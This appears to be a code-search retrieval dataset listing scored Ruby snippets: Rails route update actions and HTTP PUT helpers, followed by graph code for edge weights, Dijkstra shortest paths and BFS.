@route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n flash[:notice] = 'Route was successfully updated.'\n format.html { redirect_to(@route) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "67528eb7139fcd48ff8ef5e84fcf1713", "score": "0.5830619", "text": "def update\n @route = Route.find(params[:id])\n\n respond_to do |format|\n if @route.update_attributes(params[:route])\n flash[:notice] = 'Route was successfully updated.'\n format.html { redirect_to(@route) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ee5e29ef62a6e95122a8f5d94e1d50d", "score": "0.5826464", "text": "def put(path, params = {})\n request :put, path, params\n end", "title": "" }, { "docid": "6a9360488e0f486101d47ebcf96922f2", "score": "0.5812259", "text": "def put(path, options = nil, &block)\n self.map(path, options.merge!(:conditions => {:request_method => \"PUT\"}), &block)\n end", "title": "" }, { "docid": "af9aedd4f428a2c26c3fd57798526020", "score": "0.5803716", "text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end", "title": "" }, { "docid": "4820fff873a813fa49a8a72282d1818a", "score": "0.57964873", "text": "def update\n @top_route = TopRoute.find(params[:id])\n\n respond_to do |format|\n if @top_route.update_attributes(params[:top_route])\n format.html { redirect_to @top_route, notice: 'Top route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @top_route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b9572b44862229987602d96890c4cbd", "score": "0.5774153", "text": "def put(route, *args, &block)\n register_route(:user, route, block, :put, *args)\n end", "title": "" }, { "docid": "140c1eb37482027ae9747c32cb11b6aa", "score": "0.57729864", "text": "def put(path, json, headers={})\n api_request(:PUT, create_url(path), headers, json)\n end", "title": "" }, { "docid": "adece6c8dbba6da8d956774b410c645a", "score": "0.5767959", "text": "def update_mobile_carrier(args = {}) \n id = args['id']\n temp_path = \"/mobile.json/{carrierId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"mobileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "8415acb983da3addb269a79e461bba00", "score": "0.5759934", "text": "def put(uri, options = {})\n request :put, options\n end", "title": "" }, { "docid": "53748b7803b10c7bd1894fb19ebca30b", "score": "0.57467425", "text": "def update\n respond_to do |format|\n if @route.update(route_params)\n format.html { redirect_to @route, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @route }\n else\n format.html { render :edit }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea416b077fa0aa7e84ec3fe2ef9c3772", "score": "0.57436335", "text": "def put\n request_method('PUT')\n end", "title": "" }, { "docid": "bb96bab09259313709de4d5029ee2765", "score": "0.5724117", "text": "def put(path, opts = {})\n request(:put, path, opts)\n end", "title": "" }, { "docid": "ca46e3bb83718e90647061d0965168de", "score": "0.5715444", "text": "def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n Accept: 'application/json'),\n :put, nil, body.to_json)\n end", "title": "" }, { "docid": "a21658e8869b48b877bfbe57de8fb717", "score": "0.5706475", "text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.put(\n url,\n { Contact: { email: \"[email protected]\" } } )\n \nend", "title": "" }, { "docid": "8526bda945752e27df3ffdba1b7efea0", "score": "0.5696987", "text": "def update_mobile_carrier(args = {}) \n put(\"/mobile.json/#{args[:carrierId]}\", args)\nend", "title": "" }, { "docid": "d82f7dc07c55ba699155d8a96115fe56", "score": "0.5692787", "text": "def put(uri, options = {})\n request :put, uri, options\n end", "title": "" }, { "docid": "d82f7dc07c55ba699155d8a96115fe56", "score": "0.5692787", "text": "def put(uri, options = {})\n request :put, uri, options\n end", "title": "" }, { "docid": "78f5049639cb2125737c2893c8b77404", "score": "0.5688449", "text": "def update\n respond_to do |format|\n if @app_route.update(app_route_params)\n format.html { redirect_to @app_route, notice: 'Route was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_route }\n else\n format.html { render :edit }\n format.json { render json: @app_route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffbe1ec0a607a1a422ab2d83df28a5f2", "score": "0.5678012", "text": "def update\n respond_to do |format|\n if @vehicle_route.update(vehicle_route_params)\n format.html { redirect_to vehicle_routes_path, notice: 'Vehicle route was successfully updated.' }\n format.json { render :show, status: :ok, location: @vehicle_route }\n else\n format.html { render :edit }\n format.json { render json: @vehicle_route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0e35bb47ec0f1e27d091980aa2db21b", "score": "0.56775844", "text": "def put(path, params = {})\n request(:put, path, params)\n end", "title": "" }, { "docid": "e0e35bb47ec0f1e27d091980aa2db21b", "score": "0.56775844", "text": "def put(path, params = {})\n request(:put, path, params)\n end", "title": "" }, { "docid": "e0e35bb47ec0f1e27d091980aa2db21b", "score": "0.56775844", "text": "def put(path, params = {})\n request(:put, path, params)\n end", "title": "" }, { "docid": "e0e35bb47ec0f1e27d091980aa2db21b", "score": "0.56775844", "text": "def put(path, params = {})\n request(:put, path, params)\n end", "title": "" }, { "docid": "e0e35bb47ec0f1e27d091980aa2db21b", "score": "0.56775844", "text": "def put(path, params = {})\n request(:put, path, params)\n end", "title": "" }, { "docid": "0a565cef00d6874eb6d07052cd70dfab", "score": "0.567228", "text": "def update(json_resource)\n jsonapi_request(:patch, \"#{@route}/#{json_resource['id']}\", \"data\"=> json_resource)\n end", "title": "" }, { "docid": "afecc7845542fce06842e523ac107fce", "score": "0.5650115", "text": "def put(path, options = {})\n request(:put, path, options)\n end", "title": "" }, { "docid": "aafb4995eae9929ec2dcb84659ceebbe", "score": "0.5644362", "text": "def update\n respond_to do |format|\n if @myroute.update(myroute_params)\n format.html { redirect_to @myroute, notice: 'Myroute was successfully updated.' }\n format.json { render :show, status: :ok, location: @myroute }\n else\n format.html { render :edit }\n format.json { render json: @myroute.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a", "score": "0.5640323", "text": "def put(*args)\n request :put, *args\n end", "title": "" }, { "docid": "f9f5c38779ee229cfadfd18bf4d906df", "score": "0.5639299", "text": "def put(path, headers: {}, &block)\n make_request(Net::HTTP::Put, path, headers: headers, &block)\n end", "title": "" }, { "docid": "cce33f4024c7a68f7911919e5510d2f8", "score": "0.5634004", "text": "def put(options)\n post(options)\n end", "title": "" }, { "docid": "b3649953e0dbf78d39d91af7d95ec97c", "score": "0.56217855", "text": "def update\n respond_to do |format|\n if @aws_route_table.update(aws_route_table_params)\n format.html { redirect_to @aws_route_table, notice: 'Aws route table was successfully updated.' }\n format.json { render :show, status: :ok, location: @aws_route_table }\n else\n format.html { render :edit }\n format.json { render json: @aws_route_table.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "065e543e374a656033220a49aeffc025", "score": "0.56212527", "text": "def update\n @train_route = TrainRoute.find(params[:id])\n\n respond_to do |format|\n if @train_route.update_attributes(params[:train_route])\n format.html { redirect_to @train_route, notice: 'Train route was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @train_route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42e4d81ce0f91ce996dcbc347df2958d", "score": "0.5614934", "text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "03f2da2ebf5dd2691a8c2e87c498da5a", "score": "0.5610191", "text": "def put(path, params={})\n request(:put, path, params)\n end", "title": "" }, { "docid": "acfeac176f5a8a1908753a337247ad31", "score": "0.56037956", "text": "def put(path, opts={}, &block)\n @@controller_calls[:put] << path\n \n super path, opts, &block\n end", "title": "" }, { "docid": "d6da3157fecc621a151a2bd3688f1c39", "score": "0.55999213", "text": "def put(path, options = {})\n request(:put, path, form: options)\n end", "title": "" }, { "docid": "46c427a6236a62b6611e629963f4204f", "score": "0.5597704", "text": "def put(path, params = {}, options = {})\n request(:put, path, params, options)\n end", "title": "" }, { "docid": "3b0ae1cf3887cdb76f679ffac0ed2661", "score": "0.5596182", "text": "def put( uri, body='', headers={} )\n\t\t\traise \"Request doesn't route through %p\" % [ self.route ] unless\n\t\t\t\turi.start_with?( self.route )\n\n\t\t\theaders = self.make_merged_headers( :PUT, uri, headers )\n\t\t\trclass = Mongrel2::Request.subclass_for_method( :PUT )\n\n\t\t\treq = rclass.new( self.sender_id, self.conn_id.to_s, uri.to_s, headers, body )\n\n\t\t\treturn req\n\t\tend", "title": "" }, { "docid": "d69a66f39d0080a167ba57134376a6c9", "score": "0.55953974", "text": "def put(path, params = nil, headers = nil)\n process(:put, path, params, headers)\n end", "title": "" }, { "docid": "d69a66f39d0080a167ba57134376a6c9", "score": "0.55953974", "text": "def put(path, params = nil, headers = nil)\n process(:put, path, params, headers)\n end", "title": "" }, { "docid": "6109548c3281832ecabf0564bcc67946", "score": "0.55947345", "text": "def put(path, options={}, format=format)\n respond request(:put, path, options, format)\n end", "title": "" }, { "docid": "af59c68a0de7688b5740c896b3b7622d", "score": "0.55917466", "text": "def update\n @gtfs_route = GtfsRoute.find(params[:id])\n\n respond_to do |format|\n if @gtfs_route.update_attributes(params[:gtfs_route])\n format.html { redirect_to(@gtfs_route, :notice => 'Gtfs route was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gtfs_route.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
e58d23b72f9166cb52ddce1c99bf496a
Returns the weight of directed edge (source, destination), or returns Float::INFINITY if no such edge exists
[ { "docid": "928b9dcd603bdbabb7b78fb7190a1934", "score": "0.899087", "text": "def get_edge_weight(source, destination)\n if contains_edge?(source, destination)\n @edges[source][destination]\n else\n Float::INFINITY\n end\n end", "title": "" } ]
[ { "docid": "f1556b485ba6f8cf13bb12e72cb12360", "score": "0.77202505", "text": "def edge_weight(from, to)\n return nil if @adjacency_list[from].nil?\n\n @adjacency_list[from].get_weight(to)\n end", "title": "" }, { "docid": "82f7d92cdd4878f1bb913b898abb0d40", "score": "0.7366081", "text": "def edge_weight(from, to)\n unless @list[from].nil?\n current_vertex = @list[from]\n until current_vertex.id == to || current_vertex.nil?\n current_vertex = current_vertex.next\n end\n current_vertex.weight\n end\n end", "title": "" }, { "docid": "eb1364b42501a5f5aa9ed6794a379814", "score": "0.72638845", "text": "def weight\n @graph.weight(source, target)\n end", "title": "" }, { "docid": "30201a5d374496d6c99f938d9f2a7ff8", "score": "0.7050782", "text": "def connection_weight(from: , to: )\n @adj_list[from].each do |index_weight_tuple|\n if index_weight_tuple[0] == to\n return index_weight_tuple[1]\n end\n end\n Float::INFINITY\n end", "title": "" }, { "docid": "78f555ff9de5f63c821a4df6a041ce32", "score": "0.6959686", "text": "def path_weight_to(other)\n edge_class.shortest_path(self,other,:method => :djikstra).map{|edge| edge.weight.to_f}.sum\n end", "title": "" }, { "docid": "2a9f55a680d09275b96453fc9bac829f", "score": "0.6843092", "text": "def weight_for_edge(edge)\n @weight_table[edge]\n end", "title": "" }, { "docid": "e60b9cba2d900b59a1723d3331b03ac5", "score": "0.68336284", "text": "def weight(g)\n edges.map { |e| g.w(e) }.reduce(0, :+)\n end", "title": "" }, { "docid": "9ce74f72ef4c71f3f176cf6746d8f95a", "score": "0.68057513", "text": "def weight\n @weight + @edges.weight\n end", "title": "" }, { "docid": "e3a32c0aafa9185f42d06b29781bcd25", "score": "0.63508713", "text": "def max_edge_weight\n edges.map(&:weight).max\n end", "title": "" }, { "docid": "46e726f84f15bc565703385e954dc632", "score": "0.62017083", "text": "def weight_node(node, weight)\n @edges.each do |source, dests|\n dests.each do |dest, _|\n if dest == node\n @edges[source][dest] = weight\n end\n end\n end\n end", "title": "" }, { "docid": "44d723cc240643eee0cd3fa18385fc3c", "score": "0.6190926", "text": "def edge_class\n WeightedDirectedEdge\n end", "title": "" }, { "docid": "93e7a78661a67a51d9474f0b60c90d49", "score": "0.6170038", "text": "def weights(tail, head)\n result = @neighbors[tail].select {|pair| pair[0] == head}\n weights = []\n result.each {|pair| weights << pair[1] }\n # Given that if the path does not exist then the distance is inf.\n weights << 1000000 if weights.empty?\n return weights\n end", "title": "" }, { "docid": "278d4cf4b8b63708fade6e2a0097aab2", "score": "0.6153626", "text": "def get_neighbor_weight(label)\n @neighbors[label]\n end", "title": "" }, { "docid": "71346e8bd4b9f62f7fb8f8c6bf61d0a9", "score": "0.61419445", "text": "def edge_weight(oid, did)\n\t\tcur_edge = @adj_list[oid].head\n\t\tloop do\n\t\t\tbreak if cur_edge.nil?\n\t\t\tif cur_edge.did == did\n\t\t\t\treturn cur_edge.weight\n\t\t\tend\n\t\t\tcur_edge = @adj_list[oid].find_next(cur_edge)\n\t\tend\n\t\tputs \"Not Found\"\n\tend", "title": "" }, { "docid": "af32a54a1f5e73d7bcb5698c0459915c", "score": "0.611404", "text": "def add_edge(source, destination, weight)\n if @edges.key?(source)\n @edges[source][destination] = weight\n else\n @edges[source] = { destination => weight }\n end\n end", "title": "" }, { "docid": "793efec43f3baa52be2a784e8cff6216", "score": "0.60330206", "text": "def weight(x,y)\n\t\t@graph[x][y] if @graph[x]\n\tend", "title": "" }, { "docid": "c00a7b73c30c6c02986de8775e513c8f", "score": "0.6022532", "text": "def weight_for(other)\n read\n @links[other.to_s]\n end", "title": "" }, { "docid": "750d85af776878c3d8e8add8d98a1b43", "score": "0.5975363", "text": "def get_edge_value(x, y)\n e = x.connection_to(y)\n e.nil? ? nil : e.value\n end", "title": "" }, { "docid": "77d197ae0156a492801a1828659c1f44", "score": "0.5956482", "text": "def distanceTo( node )\n raise TypeError, \"Nodes are only linked to Nodes\" unless node.is_a? Node\n if adjacentTo?( node )\n return arcForNode( node ).weight\n else\n return nil\n end\n end", "title": "" }, { "docid": "42ed435d5dd96bcccd690a2e21441811", "score": "0.5944802", "text": "def weight(v1, v2)\n\t\tif v1 >= @node_count or v2 >= @node_count\n\t\t\treturn 0\n\t\tend\n\t\t@adj_matrix[v1][v2]\n\tend", "title": "" }, { "docid": "ec489379b22a954096c5b25cb9991241", "score": "0.59251225", "text": "def no_stop_weight(from, to)\n routes = @direct ? @direct_routes : @routes\n r = routes.find { |route| from?(from, route) && to?(to, route) }[:weight]\n r.nil? ? Float::INFINITY : r\n end", "title": "" }, { "docid": "17d3047c6390c4143fedaa09d4864add", "score": "0.5835417", "text": "def weight\n read_attr :weight, :to_f\n end", "title": "" }, { "docid": "c429adea8f9e07d6eb434c7e42b14322", "score": "0.5730375", "text": "def weight\n s = deltas.size\n (s**2+s)/2.0\n end", "title": "" }, { "docid": "bd937c340bf62b0709f17644fa0bc657", "score": "0.5709311", "text": "def wedge\n dinucleotide_lookup(@@WEDGE)\n end", "title": "" }, { "docid": "eec4b66487a16a5c116491105cb2cd87", "score": "0.56965935", "text": "def weight\n nested_node('weight').to_i\n end", "title": "" }, { "docid": "210fd1e4027b3527cbefafad81c827f8", "score": "0.5685445", "text": "def dijkstra_optimized(nodes, source, destination)\n dist = Hash.new(Float::INFINITY)\n dist[source] = 0\n q = nodes.dup\n\n until q.empty?\n u = q.min_by { |v| dist[v] }\n return dist[destination] if u == destination\n q.delete(u)\n u.neighbours.each do |v|\n alt = dist[u] + v.weight\n dist[v] = alt if alt < dist[v]\n end\n end\nend", "title": "" }, { "docid": "6c74269602c2419b901cb45c6471e8be", "score": "0.5684669", "text": "def shortestSingleFlight()\n return reduceVariable('edges', 'distance', '<')\n end", "title": "" }, { "docid": "55dda86e9f8d3a9cc234df3e044e26ce", "score": "0.56750727", "text": "def weight\n @weight ||= Rational(weightn, weightd)\n end", "title": "" }, { "docid": "4de283d87b4861c51eda3a47dfe174aa", "score": "0.56720704", "text": "def weight\n return @weight\n end", "title": "" }, { "docid": "4de283d87b4861c51eda3a47dfe174aa", "score": "0.56720704", "text": "def weight\n return @weight\n end", "title": "" }, { "docid": "4de283d87b4861c51eda3a47dfe174aa", "score": "0.56720704", "text": "def weight\n return @weight\n end", "title": "" }, { "docid": "91c8795593d7e0f02a4ec80051611bbf", "score": "0.566082", "text": "def weight\n return @weight\n end", "title": "" }, { "docid": "91c8795593d7e0f02a4ec80051611bbf", "score": "0.566082", "text": "def weight\n return @weight\n end", "title": "" }, { "docid": "5f2e2e5c7f774df2fb614cb096095a2f", "score": "0.566006", "text": "def dijikstra(source, edges, num_vertices)\n path_weights = Array.new(num_vertices, Float::INFINITY)\n previous_shortest_path = Array.new(num_vertices, nil)\n pq = PQueue.new([source]){|x,y| path_weights[x] < path_weights[y]}\n path_weights[source] = 0\n\n until pq.size.zero?\n min_node = pq.pop\n # Note: If we are interested only in shortest distance from source to a single target, we can break the for loop when the picked minimum distance vertex is equal to target\n\n (edges[min_node] || []).each do |neighbor, weight|\n if path_weights[neighbor] > path_weights[min_node] + weight\n path_weights[neighbor] = path_weights[min_node] + weight\n previous_shortest_path[neighbor] = min_node\n pq.push(neighbor)\n end\n end\n end\n\n return [path_weights, previous_shortest_path]\nend", "title": "" }, { "docid": "f41256a08dbe8ae6c3bdb129a37ca671", "score": "0.5652024", "text": "def find_edge(s, e)\n dist = @infinity\n @edges.each do |edge|\n if edge.vertices[0] == s && edge.vertices[1] == e\n dist = edge.l\n end\n end\n return dist\n end", "title": "" }, { "docid": "f41256a08dbe8ae6c3bdb129a37ca671", "score": "0.5652024", "text": "def find_edge(s, e)\n dist = @infinity\n @edges.each do |edge|\n if edge.vertices[0] == s && edge.vertices[1] == e\n dist = edge.l\n end\n end\n return dist\n end", "title": "" }, { "docid": "2080faa4202879ef266becccfad4221e", "score": "0.56050396", "text": "def weight\n @weight\n end", "title": "" }, { "docid": "9ecc28807742416885ed9f6d200efe9b", "score": "0.5602746", "text": "def connection_weight(from: , to: )\n @adj_mat[from][to]\n end", "title": "" }, { "docid": "d4abc4343ea92a91b84912d986ba929e", "score": "0.56005406", "text": "def weight\n if @weight\n @weight\n else\n @confines.length\n end\n end", "title": "" }, { "docid": "6841c6a111c98d06a3d12dd3e78fe959", "score": "0.5574726", "text": "def weight_of( element )\n @weight[element] || 1\n end", "title": "" }, { "docid": "c5f4d4153c136022a8a118ed700a0c04", "score": "0.55592626", "text": "def nearest_edge_to(edge, direction)\n idx = edges.index(edge) or raise \"edge #{e} is not attached to #{self}\"\n nearest = direction == Direction::CW ? idx-1 : idx+1\n nearest = edges.length-1 if nearest < 0\n nearest = 0 if nearest >= edges.length\n return edges[nearest]\n end", "title": "" }, { "docid": "ff3d6759436cfa4ff148ee4c50bff05f", "score": "0.5549169", "text": "def compute(source, destination)\n x = [source]\n source.length = 0\n temp = source\n until temp.id == destination.id\n min_edge = nil\n min_distance = Float::INFINITY\n x.each do |xnode|\n xnode.outgoing_edges.each do |xedge|\n next if xedge.visited?\n curr_distance = xnode.length + xedge.distance\n if curr_distance <= min_distance\n min_distance = curr_distance\n min_edge = xedge\n end\n end\n end\n min_edge.head.length = min_distance\n x << min_edge.head\n temp = min_edge.head\n end\n destination.length\nend", "title": "" }, { "docid": "e1a979964743d18385490666292bba43", "score": "0.552793", "text": "def weight\n if closed?\n won? ? 100 : 0\n elsif w = read_attribute(:weight)\n w\n elsif status\n status.weight\n else\n raise \"there's a offer without a well-defined weight, this is a bug\"\n end\n end", "title": "" }, { "docid": "fd2589d9e21af9e641833bc6ef6052ee", "score": "0.5491278", "text": "def getWeight\n return @weight\n end", "title": "" }, { "docid": "970ca7bdede3384ea936fe3fd1ca6928", "score": "0.5487505", "text": "def weight\n 0\n end", "title": "" }, { "docid": "ad432e3117b6eb805671c5a71b223f31", "score": "0.5479587", "text": "def external_value\n edge_demand = edges.map(&:value).compact.sum.to_f\n\n if has_reversed_shares?\n edge_demand / reversed_share_compensation\n else\n edge_demand\n end\n end", "title": "" }, { "docid": "4907b6fb0bd300232070c8021b0f92ce", "score": "0.54770094", "text": "def weight\n # TODO: auto unit conversion\n measurement(8).try(:measurement)\n end", "title": "" }, { "docid": "cd80cf3fe4c5a7cab0e910c66b62140b", "score": "0.5474476", "text": "def add_edge source, target, weight: 1\n raise ArgumentError, \"Weight must be a number, not #{weight}\" unless\n weight.is_a? Numeric\n\n @fwd[source] ||= {}\n @rev[target] ||= {}\n\n [source, target].each { |x| add x }\n\n # assume this is symmetric, that @rev[t] also does not include s\n return if @fwd[source].key? target\n\n @fwd[source][target] = @rev[target][source] = { weight: weight }\n\n #@fwd[source] << target\n #@rev[target] << source\n @nodes[source][:outdegree] += 1\n @nodes[target][:indegree] += 1\n\n [source, target]\n end", "title": "" }, { "docid": "74d68050ac5074a124ae273238c7156c", "score": "0.5467496", "text": "def weight\n @weight ||= @combinations.inject(0) do |sum, combination|\n sum + combination.weight\n end\n end", "title": "" }, { "docid": "ad414b4d4d40d1b4e639d06ea77b124a", "score": "0.5434206", "text": "def weight(v)\n @weights[v]\n end", "title": "" }, { "docid": "c831306e125b100d98fcb57d77b75e3d", "score": "0.5430572", "text": "def weight\r\n @weight\r\n end", "title": "" }, { "docid": "9595cea2cb85f3e0f8c44887e5af9e28", "score": "0.54280204", "text": "def connect_graph(source, target, weight)\n if !graph.key?(source)\n graph[source] = { target => weight }\n else\n graph[source][target] = weight\n end\n end", "title": "" }, { "docid": "bc620fe5c6a4cb6faa97079d90b690cc", "score": "0.54276353", "text": "def set_weight\n\t\tw = 0\n\t\tself.relations.each {|relation|\n\t\t\tw =+ relation.get_weight\n\t\t}\t\n\t\tself.weight = w\n\t\treturn w\n\tend", "title": "" }, { "docid": "2cca305b450acd543637ea5d6372feb0", "score": "0.5426115", "text": "def weight\n if !block_given?\n return @j_del.java_method(:weight, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling weight()\"\n end", "title": "" }, { "docid": "2e2457061241857730039e699b84be59", "score": "0.5424565", "text": "def weight(u, v)\n @weights[[u,v]] || @weights[[v,u]]\n end", "title": "" }, { "docid": "fbea154ee3746122822e20c86dcb24d0", "score": "0.54112566", "text": "def weighted_fan_in\n @inverse.each_with_object({}) do |data, fan_in_hash|\n node = data.first\n other = data.last\n next if other.count.zero?\n weight = 0\n other.each do |neighbor|\n node_name = neighbor[:node]\n weight += @parallelism[node_name]\n end\n fan_in_hash[node] = weight / @parallelism[node].to_f\n end\n end", "title": "" }, { "docid": "fbea154ee3746122822e20c86dcb24d0", "score": "0.54112566", "text": "def weighted_fan_in\n @inverse.each_with_object({}) do |data, fan_in_hash|\n node = data.first\n other = data.last\n next if other.count.zero?\n weight = 0\n other.each do |neighbor|\n node_name = neighbor[:node]\n weight += @parallelism[node_name]\n end\n fan_in_hash[node] = weight / @parallelism[node].to_f\n end\n end", "title": "" }, { "docid": "fa9d03f7369f57d45102c8dd01822e9a", "score": "0.5342684", "text": "def external_edge_value\n edges.map(&:value).compact.sum\n end", "title": "" }, { "docid": "740f672f82459fa95fc92036a64834c4", "score": "0.53249013", "text": "def node_weighting(node, adj_list)\n weight = 0\n weight += adj_list[node].size if adj_list[node]\n adj_list[node].each do |child|\n if adj_list[child] && adj_list[child] != node\n weight += adj_list[child].size\n end\n end\n weight\n end", "title": "" }, { "docid": "069c3a1b9c39cfd5485154af53107d83", "score": "0.5318462", "text": "def add_edge(source, target, weight)\n connect_graph(source, target, weight) #directional graph\n connect_graph(target, source, weight) #non directed graph (inserts the other edge too)\n end", "title": "" }, { "docid": "d76fa2a62fc0d2052dfb40327e3a8f1b", "score": "0.5314166", "text": "def find_or_add_edge(one, two)\n edge = find_edge(one, two)\n if edge\n edge.weight += 1\n edge\n else\n edges << Edge.new(one: one, two: two, weight: 1)\n edges.last\n end\n end", "title": "" }, { "docid": "21b0d9fe9827f485772eaa9b730e761e", "score": "0.53080475", "text": "def weighted_distance other\n raise '' if !other.is_a? String\n\n distance = Levenshtein.distance self, other\n\n delta = (self.length - other.length).abs + 1\n\n distance.to_f / delta.to_f\n end", "title": "" }, { "docid": "f00aca543dd21a43816c51257c41f96d", "score": "0.53043574", "text": "def connect_graph(source, target, weight)\n if !graph.key?(source)\n graph[source] = { target => weight }\n else\n graph[source][target] = weight\n end\n nodes << source unless nodes.include?(source)\n end", "title": "" }, { "docid": "a98159516146bc7b93ab2a88e59d91dc", "score": "0.52962905", "text": "def bfs(vertices, source, target)\n paths = {}\n queue = [[source, 0]]\n until queue.empty?\n next if paths[vertex]\n vertex, distance = queue.shift,\n return vertex if vertex.val == target\n paths[vertex] = dist\n vertex.out_edges.each do |edge|\n queue << [edge.to, dist + 1] unless paths[edge_to]\n end\n end\nend", "title": "" }, { "docid": "71dec84a2fce55968a0d69be0d847ae2", "score": "0.5280674", "text": "def demanding_share(edge)\n return 0.0 if edge.loss?\n\n demanding_share = (edge.demand || 0.0) / (demand || 0.0)\n demanding_share.nan? || demanding_share.infinite? ? 0.0 : demanding_share\n end", "title": "" }, { "docid": "743c7aa5508db3caab36f17e06442a77", "score": "0.5274382", "text": "def connect_graph(source, target, weight)\n if (!graph.has_key?(source))\n graph[source] = {target => weight}\n else\n graph[source][target] = weight\n end\n if (!nodes.include?(source))\n nodes << source\n end\n end", "title": "" }, { "docid": "74dbe80e2ca3c76dfa9d80754440c91f", "score": "0.52683246", "text": "def get_min_distance_in_fringe\n @fringe.reduce(Float::INFINITY) do |memo,node|\n if (node.destination_distance < memo)\n node.destination_distance\n else\n memo\n end\n end\n end", "title": "" }, { "docid": "b022f67c6445c0f16f196f60a6874d6f", "score": "0.5245881", "text": "def weight\n weight = 0\n return weight if (@itens.size == 0)\n @itens.values.each do |item| weight += item.weight_total end\n weight\n end", "title": "" }, { "docid": "35dcdb569cd2d809203e3b163e902a96", "score": "0.52291507", "text": "def add_edge(source:, target:, weight:)\n connect_graph(source, target, weight) # directional graph\n connect_graph(target, source, weight) # non directed graph (inserts the other edge too)\n end", "title": "" }, { "docid": "58c5719e381b72b9f9ec44e19c13bf59", "score": "0.5227106", "text": "def calculate_distance(edges)\n distances = edges.collect { |edge| graph[edge] }\n distances.inject(:+).round(2)\n end", "title": "" }, { "docid": "429f428aedbfc5a15e324e4cac35559d", "score": "0.5224676", "text": "def get_trip_shortest_route(departure_node, destination_node)\n number_of_trips_by_max_stops(departure_node, destination_node, 10).min do |first_route, second_route|\n first_route.calc_total_weight <=> second_route.calc_total_weight\n end\n end", "title": "" }, { "docid": "a21703a2f8ebce8ee43b82b6352bb02f", "score": "0.5220786", "text": "def average_weight\n weights = []\n self.weigh_ins.each do |wi|\n weights << wi.weight unless wi.weight.nil?\n end \n if weights.length == self.weigh_ins.count \n weights.inject(:+).to_f/self.weigh_ins.count\n else\n \"incomplete\"\n end \n end", "title": "" }, { "docid": "d44b27e7f7ed2a576f7e15039b4534c0", "score": "0.52182674", "text": "def averageFlightDistance()\n return averageVariable('edges', 'distance')\n end", "title": "" }, { "docid": "b2fd61100d2a3ed92be4fa790f4a2116", "score": "0.52172744", "text": "def connect_graph(source, target, weight = 1)\n if (!graph.has_key?(source))\n graph[source] = {target => weight}\n else\n graph[source][target] = weight\n end\n if (!nodes.include?(source))\n nodes << source\n end\n if (!nodes.include?(target))\n nodes << target\n end\n end", "title": "" }, { "docid": "c7b4d0e226830b3797e9e1131c73a2fc", "score": "0.52128285", "text": "def dijkstra(source)\n @distance = {}\n @previous = {}\n @graph.keys.each do |node|\n @distance[node] = Float::INFINITY\n @previous[node] = -1\n end\n @distance[source] = 0\n unvisited = @graph.keys.compact\n\n until unvisited.empty?\n u = nil\n unvisited.each do |min|\n u = min if !u || (@distance[min] && @distance[min] < distance[u])\n end\n break if @distance[u] == Float::INFINITY\n\n unvisited -= [u]\n @graph[u].keys.each do |v|\n temp = @distance[u] + @graph[u][v]\n\n if temp < @distance[v]\n @distance[v] = temp\n @previous[v] = u\n end\n end\n end\n end", "title": "" }, { "docid": "932862e358865d0753711a589fd93255", "score": "0.52039474", "text": "def distances_from(source)\n # `d' is a hash of distances to each vertex from the source.\n d = {}\n # Initially, set the distance to `Infinity' for each vertex...\n @vertices.each {|vertex| d[vertex] = Infinity }\n # 